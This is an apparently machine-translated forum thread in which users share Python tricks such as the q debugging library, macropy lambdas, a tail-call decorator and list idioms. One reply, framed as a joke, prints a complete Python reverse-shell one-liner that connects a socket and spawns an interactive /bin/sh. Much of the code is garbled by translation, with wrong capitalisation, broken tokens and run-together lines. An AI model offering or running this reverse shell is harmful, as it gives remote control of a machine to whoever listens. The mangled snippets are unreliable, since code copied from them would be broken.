What are some of the Python code tricks you've seen that amaze you?

The question of the base friend
Have you seen any Java code tricks that have stunned you? -Java
What are some of the C + + code tricks you've seen that amaze you? -Internet
Have you ever seen a front-end design that makes you jaw-dropping? -Programmer
Have you seen any of the JavaScript code-machine tricks that have amazed you? -Programmer
Have you seen any crawler tricks that have stunned you? -Computer

Neurological problems, non-programmers welcome to answer together
Have you seen any of the divine logic that has stunned you? -Life
Have you seen any black dishes that you've been stunned by?
What have you seen that makes you jaw-dropping?
There are many more, welcome to all the series

Reply content:

When I saw this, I thought it was quite jaw-dropping: https:// pypi.python.org/pypi/q

quick-and-dirty debugging output for tired programmers

As the introduction says, Quick-and-dirty,quick-and-dirty. At first glance, I just think this is very convenient, but think carefully how to achieve, really ... It's All Black tech ...

For the simplest use of Q, print the value of foo:

importq;q(foo)

It makes me feel jaw-dropping to count this Python library, is really the import hook to use the ultimate:
Lihaoyi/macropy GitHub

You asked me what the fuck was that?
Come and see some examples:

better use of lambda expressions

 from Macropy.quick_lambda Import Macros, F, _Print Map(F[_ + 1], [1, 2, 3])    # [2, 3, 4]Print Reduce(F[_ * _], [1, 2, 3]) # 6

I remember when I studied how bad Python was when it came to recursive support, and I found out that someone had a very hack way of decorating the tail recursion. Stack frame clear.。 However, I still can't understand what it is written.
Code

Import SYS    class tailrecurseexception:    def __init__( Self, args, Kwargs):       Self.args = args       Self.Kwargs = Kwargs    def tail_call_optimized(g):    """  This function decorates a function with tail calloptimization. It does throwing an exceptionif it is it ' s own grandparent, and catching suchexceptions to fake the tail call optimization.     This function fails if the decoratedfunction recurses in a non-tail context.   """    def func(*args, **Kwargs):      F = SYS._getframe()      if F.F_back  and F.F_back.F_back  and F.F_back.F_back.F_code == F.F_code:        Raise tailrecurseexception(args, Kwargs)      Else:         while 1:          Try:            return g(*args, **Kwargs)          except tailrecurseexception, e:            args = e.args            Kwargs = e.Kwargs    func.__doc__ = g.__doc__    return func

Thank you, I'm a shameless one today.
Dwarfartisan/pyparsec GitHub

Don't fight! Don't hit the face! Let me bounce a shell first, calm down.

import socket,subprocess,oss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("127.0.0.1",12345))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"]);

Before on GitHub saw someone summarizing some python tricks
Brennerm/pytricks GitHub >>> a = [],
>>> A
([],) >>> a = [[1,2],[3,4],[5,6]]
>>> sum (a,[])
[1, 2, 3, 4, 5, 6]

Python is really fantastic:)
Add one more, Python slice:
>>> L = [n/A]
>>> l[1:1] = ' a '
>>> L
[1, ' A ', 2, 3]

Python Group list:
>>> a = [1, 2, 3, 4, 5, 6]
>>> Zip (* ([ITER (a)] * 2))
[(1, 2), (3, 4), (5, 6)] a few years ago when I was learning python, I made a few small attempts at a project.

Dynamically generate classes with meta-programming to generate dynamic load offload later.

Use the class as a function. Use the function as a variable.

Tricks to play with the container.

Neatly wrapped up a variety of scripts written by several other EE engineers.

Complete annotation, concise structure. is not a performance bottleneck, so performance is not within the scope of consideration.

The result was "senior engineer" scolded as a dog, bitter to return to C + +. In fact, he did not use any language other than C + +, his logic is C + + is the basis of all languages, he can not understand the code is not good code. →_→, this is a piece of the standard library, and it makes me jaw-dropping.

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